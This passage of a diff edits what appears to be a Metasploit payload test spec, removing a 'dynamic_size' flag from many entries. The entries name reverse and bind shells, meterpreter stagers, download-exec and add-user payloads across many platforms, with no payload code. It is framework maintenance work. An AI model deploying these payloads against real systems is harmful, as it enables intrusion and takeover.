                           reference_name: 'linux/x64/shell/reverse_sctp'
   end
@@ -2300,7 +2114,6 @@
                               'stagers/linux/x64/reverse_tcp',
                               'stages/linux/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell/reverse_tcp'
   end
@@ -2310,7 +2123,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/shell_bind_ipv6_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell_bind_ipv6_tcp'
   end
@@ -2320,7 +2132,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell_bind_tcp'
   end
@@ -2330,7 +2141,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/shell_bind_tcp_random_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell_bind_tcp_random_port'
   end
@@ -2340,7 +2150,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell_find_port'
   end
@@ -2350,7 +2159,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/shell_reverse_ipv6_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell_reverse_ipv6_tcp'
   end
@@ -2360,7 +2168,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/shell_reverse_tcp'
   end
@@ -2370,7 +2177,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/adduser'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/adduser'
   end
@@ -2380,7 +2186,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/chmod'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/chmod'
   end
@@ -2390,7 +2195,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/exec'
   end
@@ -2400,7 +2204,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/read_file'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/read_file'
   end
@@ -2411,7 +2214,6 @@
                               'stagers/linux/x86/bind_ipv6_tcp',
                               'stages/linux/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell/bind_ipv6_tcp'
   end
@@ -2422,7 +2224,6 @@
                               'stagers/linux/x86/bind_nonx_tcp',
                               'stages/linux/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell/bind_nonx_tcp'
   end
@@ -2433,7 +2234,6 @@
                               'stagers/linux/x86/bind_tcp',
                               'stages/linux/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell/bind_tcp'
   end
@@ -2444,7 +2244,6 @@
                               'stagers/linux/x86/find_tag',
                               'stages/linux/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell/find_tag'
   end
@@ -2455,7 +2254,6 @@
                               'stagers/linux/x86/reverse_ipv6_tcp',
                               'stages/linux/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell/reverse_ipv6_tcp'
   end
@@ -2466,7 +2264,6 @@
                               'stagers/linux/x86/reverse_nonx_tcp',
                               'stages/linux/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell/reverse_nonx_tcp'
   end
@@ -2477,7 +2274,6 @@
                               'stagers/linux/x86/reverse_tcp',
                               'stages/linux/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell/reverse_tcp'
   end
@@ -2487,7 +2283,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/shell_bind_ipv6_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell_bind_ipv6_tcp'
   end
@@ -2497,7 +2292,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell_bind_tcp'
   end
@@ -2507,7 +2301,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/shell_bind_tcp_random_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell_bind_tcp_random_port'
   end
@@ -2517,7 +2310,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell_find_port'
   end
@@ -2527,7 +2319,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/shell_find_tag'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell_find_tag'
   end
@@ -2537,7 +2328,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell_reverse_tcp'
   end
@@ -2547,7 +2337,6 @@
                           ancestor_reference_names: [
                               'singles/linux/x86/shell_reverse_tcp_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/shell_reverse_tcp_ipv6'
   end
@@ -2557,7 +2346,6 @@
                           ancestor_reference_names: [
                             'singles/mainframe/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'mainframe/shell_reverse_tcp'
   end
@@ -2568,7 +2356,6 @@
                             'stagers/multi/reverse_http',
                             'stages/multi/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'multi/meterpreter/reverse_http'
   end
@@ -2579,7 +2366,6 @@
                             'stagers/multi/reverse_https',
                             'stages/multi/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'multi/meterpreter/reverse_https'
   end
@@ -2590,7 +2376,6 @@
                               'stagers/netware/reverse_tcp',
                               'stages/netware/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'netware/shell/reverse_tcp'
   end
@@ -2600,7 +2385,6 @@
                           ancestor_reference_names: [
                               'singles/nodejs/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'nodejs/shell_bind_tcp'
   end
@@ -2610,7 +2394,6 @@
                           ancestor_reference_names: [
                               'singles/nodejs/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'nodejs/shell_reverse_tcp'
   end
@@ -2620,7 +2403,6 @@
                           ancestor_reference_names: [
                               'singles/nodejs/shell_reverse_tcp_ssl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'nodejs/shell_reverse_tcp_ssl'
   end
@@ -2630,7 +2412,6 @@
                           ancestor_reference_names: [
                             'singles/osx/aarch64/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/aarch64/exec'
   end
@@ -2640,7 +2421,6 @@
                           ancestor_reference_names: [
                               'singles/osx/aarch64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/aarch64/shell_reverse_tcp'
   end
@@ -2651,7 +2431,6 @@
                             'stagers/osx/aarch64/reverse_tcp',
                             'stages/osx/aarch64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/aarch64/meterpreter/reverse_tcp'
   end
@@ -2661,7 +2440,6 @@
                           ancestor_reference_names: [
                             'singles/osx/aarch64/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/aarch64/meterpreter_reverse_http'
   end
@@ -2671,7 +2449,6 @@
                           ancestor_reference_names: [
                             'singles/osx/aarch64/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/aarch64/meterpreter_reverse_https'
   end
@@ -2681,7 +2458,6 @@
                           ancestor_reference_names: [
                               'singles/osx/aarch64/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/aarch64/shell_bind_tcp'
   end
@@ -2691,7 +2467,6 @@
                           ancestor_reference_names: [
                             'singles/osx/aarch64/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/aarch64/meterpreter_reverse_tcp'
   end
@@ -2702,7 +2477,6 @@
                               'stagers/osx/armle/bind_tcp',
                               'stages/osx/armle/execute'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/armle/execute/bind_tcp'
   end
@@ -2713,7 +2487,6 @@
                               'stagers/osx/armle/reverse_tcp',
                               'stages/osx/armle/execute'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/armle/execute/reverse_tcp'
   end
@@ -2724,7 +2497,6 @@
                               'stagers/osx/armle/bind_tcp',
                               'stages/osx/armle/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/armle/shell/bind_tcp'
   end
@@ -2735,7 +2507,6 @@
                               'stagers/osx/armle/reverse_tcp',
                               'stages/osx/armle/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/armle/shell/reverse_tcp'
   end
@@ -2745,7 +2516,6 @@
                           ancestor_reference_names: [
                               'singles/osx/armle/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/armle/shell_bind_tcp'
   end
@@ -2755,7 +2525,6 @@
                           ancestor_reference_names: [
                               'singles/osx/armle/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/armle/shell_reverse_tcp'
   end
@@ -2765,7 +2534,6 @@
                           ancestor_reference_names: [
                               'singles/osx/armle/vibrate'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/armle/vibrate'
   end
@@ -2776,7 +2544,6 @@
                               'stagers/osx/ppc/bind_tcp',
                               'stages/osx/ppc/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/ppc/shell/bind_tcp'
   end
@@ -2787,7 +2554,6 @@
                               'stagers/osx/ppc/find_tag',
                               'stages/osx/ppc/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/ppc/shell/find_tag'
   end
@@ -2798,7 +2564,6 @@
                               'stagers/osx/ppc/reverse_tcp',
                               'stages/osx/ppc/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/ppc/shell/reverse_tcp'
   end
@@ -2808,7 +2573,6 @@
                           ancestor_reference_names: [
                               'singles/osx/ppc/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/ppc/shell_bind_tcp'
   end
@@ -2818,7 +2582,6 @@
                           ancestor_reference_names: [
                               'singles/osx/ppc/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/ppc/shell_reverse_tcp'
   end
@@ -2829,7 +2592,6 @@
                               'stagers/osx/x64/bind_tcp',
                               'stages/osx/x64/dupandexecve'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/dupandexecve/bind_tcp'
   end
@@ -2840,7 +2602,6 @@
                               'stagers/osx/x64/reverse_tcp',
                               'stages/osx/x64/dupandexecve'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/dupandexecve/reverse_tcp'
   end
@@ -2850,7 +2611,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x64/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/exec'
   end
@@ -2861,7 +2621,6 @@
                               'stagers/osx/x64/bind_tcp',
                               'stages/osx/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/meterpreter/bind_tcp'
   end
@@ -2872,7 +2631,6 @@
                               'stagers/osx/x64/reverse_tcp',
                               'stages/osx/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/meterpreter/reverse_tcp'
   end
@@ -2883,7 +2641,6 @@
                               'stagers/osx/x64/reverse_tcp_uuid',
                               'stages/osx/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/meterpreter/reverse_tcp_uuid'
   end
@@ -2893,7 +2650,6 @@
                           ancestor_reference_names: [
                             'singles/osx/x64/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/meterpreter_reverse_http'
   end
@@ -2903,7 +2659,6 @@
                           ancestor_reference_names: [
                             'singles/osx/x64/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/meterpreter_reverse_https'
   end
@@ -2913,7 +2668,6 @@
                           ancestor_reference_names: [
                             'singles/osx/x64/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/meterpreter_reverse_tcp'
   end
@@ -2923,7 +2677,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x64/say'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/say'
   end
@@ -2933,7 +2686,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x64/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/shell_bind_tcp'
   end
@@ -2943,7 +2695,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x64/shell_find_tag'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/shell_find_tag'
   end
@@ -2953,7 +2704,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x64/shell_reverse_tcp'
   end
@@ -2964,7 +2714,6 @@
                               'stagers/osx/x86/bind_tcp',
                               'stages/osx/x86/bundleinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/bundleinject/bind_tcp'
   end
@@ -2975,7 +2724,6 @@
                               'stagers/osx/x86/reverse_tcp',
                               'stages/osx/x86/bundleinject',
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/bundleinject/reverse_tcp'
   end
@@ -2985,7 +2733,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x86/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/exec'
   end
@@ -2996,7 +2743,6 @@
                               'stagers/osx/x86/bind_tcp',
                               'stages/osx/x86/isight'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/isight/bind_tcp'
   end
@@ -3007,7 +2753,6 @@
                               'stagers/osx/x86/reverse_tcp',
                               'stages/osx/x86/isight'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/isight/reverse_tcp'
   end
@@ -3017,7 +2762,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x86/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/shell_bind_tcp'
   end
@@ -3027,7 +2771,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x86/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/shell_find_port'
   end
@@ -3037,7 +2780,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x86/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/shell_reverse_tcp'
   end
@@ -3048,7 +2790,6 @@
                               'stagers/osx/x86/bind_tcp',
                               'stages/osx/x86/vforkshell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/vforkshell/bind_tcp'
   end
@@ -3059,7 +2800,6 @@
                               'stagers/osx/x86/reverse_tcp',
                               'stages/osx/x86/vforkshell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/vforkshell/reverse_tcp'
   end
@@ -3069,7 +2809,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x86/vforkshell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/vforkshell_bind_tcp'
   end
@@ -3079,7 +2818,6 @@
                           ancestor_reference_names: [
                               'singles/osx/x86/vforkshell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'osx/x86/vforkshell_reverse_tcp'
   end
@@ -3089,7 +2827,6 @@
                           ancestor_reference_names: [
                               'singles/php/bind_php'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/bind_php'
   end
@@ -3099,7 +2836,6 @@
                           ancestor_reference_names: [
                               'singles/php/bind_php_ipv6'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/bind_php_ipv6'
   end
@@ -3117,7 +2853,6 @@
                           ancestor_reference_names: [
                               'singles/php/download_exec'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/download_exec'
   end
@@ -3127,7 +2862,6 @@
                           ancestor_reference_names: [
                               'singles/php/exec'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/exec'
   end
@@ -3138,7 +2872,6 @@
                               'stagers/php/bind_tcp',
                               'stages/php/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/meterpreter/bind_tcp'
   end
@@ -3149,7 +2882,6 @@
                               'stagers/php/bind_tcp_uuid',
                               'stages/php/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/meterpreter/bind_tcp_uuid'
   end
@@ -3160,7 +2892,6 @@
                               'stagers/php/bind_tcp_ipv6',
                               'stages/php/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/meterpreter/bind_tcp_ipv6'
   end
@@ -3171,7 +2902,6 @@
                               'stagers/php/bind_tcp_ipv6_uuid',
                               'stages/php/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/meterpreter/bind_tcp_ipv6_uuid'
   end
@@ -3182,7 +2912,6 @@
                               'stagers/php/reverse_tcp',
                               'stages/php/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/meterpreter/reverse_tcp'
   end
@@ -3193,7 +2922,6 @@
                               'stagers/php/reverse_tcp_uuid',
                               'stages/php/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/meterpreter/reverse_tcp_uuid'
   end
@@ -3203,7 +2931,6 @@
                           ancestor_reference_names: [
                               'singles/php/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/meterpreter_reverse_tcp'
   end
@@ -3213,7 +2940,6 @@
                           ancestor_reference_names: [
                               'singles/php/reverse_php'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/reverse_php'
   end
@@ -3223,7 +2949,6 @@
                           ancestor_reference_names: [
                               'singles/php/shell_findsock'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'php/shell_findsock'
   end
@@ -3233,7 +2958,6 @@
                           ancestor_reference_names: [
                               'singles/python/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/exec'
   end
@@ -3244,7 +2968,6 @@
                               'stagers/python/bind_tcp',
                               'stages/python/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter/bind_tcp'
   end
@@ -3255,7 +2978,6 @@
                               'stagers/python/bind_tcp_uuid',
                               'stages/python/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter/bind_tcp_uuid'
   end
@@ -3266,7 +2988,6 @@
                             'stagers/python/reverse_http',
                             'stages/python/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter/reverse_http'
   end
@@ -3277,7 +2998,6 @@
                             'stagers/python/reverse_https',
                             'stages/python/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter/reverse_https'
   end
@@ -3288,7 +3008,6 @@
                               'stagers/python/reverse_tcp',
                               'stages/python/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter/reverse_tcp'
   end
@@ -3299,7 +3018,6 @@
                             'stagers/python/reverse_tcp_ssl',
                             'stages/python/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter/reverse_tcp_ssl'
   end
@@ -3310,7 +3028,6 @@
                               'stagers/python/reverse_tcp_uuid',
                               'stages/python/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter/reverse_tcp_uuid'
   end
@@ -3320,7 +3037,6 @@
                           ancestor_reference_names: [
                               'singles/python/meterpreter_bind_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter_bind_tcp'
   end
@@ -3330,7 +3046,6 @@
                           ancestor_reference_names: [
                               'singles/python/meterpreter_reverse_http'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter_reverse_http'
   end
@@ -3340,7 +3055,6 @@
                           ancestor_reference_names: [
                               'singles/python/meterpreter_reverse_https'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter_reverse_https'
   end
@@ -3350,7 +3064,6 @@
                           ancestor_reference_names: [
                               'singles/python/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/meterpreter_reverse_tcp'
   end
@@ -3360,7 +3073,6 @@
                           ancestor_reference_names: [
                               'singles/python/pingback_bind_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/pingback_bind_tcp'
   end
@@ -3370,7 +3082,6 @@
                           ancestor_reference_names: [
                               'singles/python/pingback_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/pingback_reverse_tcp'
   end
@@ -3380,7 +3091,6 @@
                           ancestor_reference_names: [
                               'singles/python/shell_bind_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/shell_bind_tcp'
   end
@@ -3390,7 +3100,6 @@
                           ancestor_reference_names: [
                               'singles/python/shell_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/shell_reverse_tcp'
   end
@@ -3400,7 +3109,6 @@
                           ancestor_reference_names: [
                             'singles/python/shell_reverse_sctp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/shell_reverse_sctp'
   end
@@ -3410,7 +3118,6 @@
                           ancestor_reference_names: [
                               'singles/python/shell_reverse_tcp_ssl'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/shell_reverse_tcp_ssl'
   end
@@ -3420,7 +3127,6 @@
                           ancestor_reference_names: [
                               'singles/python/shell_reverse_udp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'python/shell_reverse_udp'
   end
@@ -3430,7 +3136,6 @@
                           ancestor_reference_names: [
                               'singles/ruby/pingback_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'ruby/pingback_bind_tcp'
   end
@@ -3440,7 +3145,6 @@
                           ancestor_reference_names: [
                               'singles/ruby/pingback_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'ruby/pingback_reverse_tcp'
   end
@@ -3450,7 +3154,6 @@
                           ancestor_reference_names: [
                               'singles/ruby/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'ruby/shell_bind_tcp'
   end
@@ -3460,7 +3163,6 @@
                           ancestor_reference_names: [
                               'singles/ruby/shell_bind_tcp_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'ruby/shell_bind_tcp_ipv6'
   end
@@ -3470,7 +3172,6 @@
                           ancestor_reference_names: [
                               'singles/ruby/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'ruby/shell_reverse_tcp'
   end
@@ -3480,7 +3181,6 @@
                           ancestor_reference_names: [
                               'singles/ruby/shell_reverse_tcp_ssl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'ruby/shell_reverse_tcp_ssl'
   end
@@ -3490,7 +3190,6 @@
                           ancestor_reference_names: [
                               'singles/solaris/sparc/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'solaris/sparc/shell_bind_tcp'
   end
@@ -3500,7 +3199,6 @@
                           ancestor_reference_names: [
                               'singles/solaris/sparc/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'solaris/sparc/shell_find_port'
   end
@@ -3510,7 +3208,6 @@
                           ancestor_reference_names: [
                               'singles/solaris/sparc/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'solaris/sparc/shell_reverse_tcp'
   end
@@ -3520,7 +3217,6 @@
                           ancestor_reference_names: [
                               'singles/solaris/x86/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'solaris/x86/shell_bind_tcp'
   end
@@ -3530,7 +3226,6 @@
                           ancestor_reference_names: [
                               'singles/solaris/x86/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'solaris/x86/shell_find_port'
   end
@@ -3540,7 +3235,6 @@
                           ancestor_reference_names: [
                               'singles/solaris/x86/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'solaris/x86/shell_reverse_tcp'
   end
@@ -3550,7 +3244,6 @@
                           ancestor_reference_names: [
                               'singles/tty/unix/interact'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'tty/unix/interact'
   end
@@ -3560,7 +3253,6 @@
                           ancestor_reference_names: [
                               'singles/windows/adduser'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/adduser'
   end
@@ -3697,7 +3389,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/bind_ipv6_tcp'
   end
@@ -3708,7 +3399,6 @@
                             'stagers/windows/bind_named_pipe',
                             'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/bind_named_pipe'
   end
@@ -3719,7 +3409,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/bind_nonx_tcp'
   end
@@ -3730,7 +3419,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/bind_tcp'
   end
@@ -3741,7 +3429,6 @@
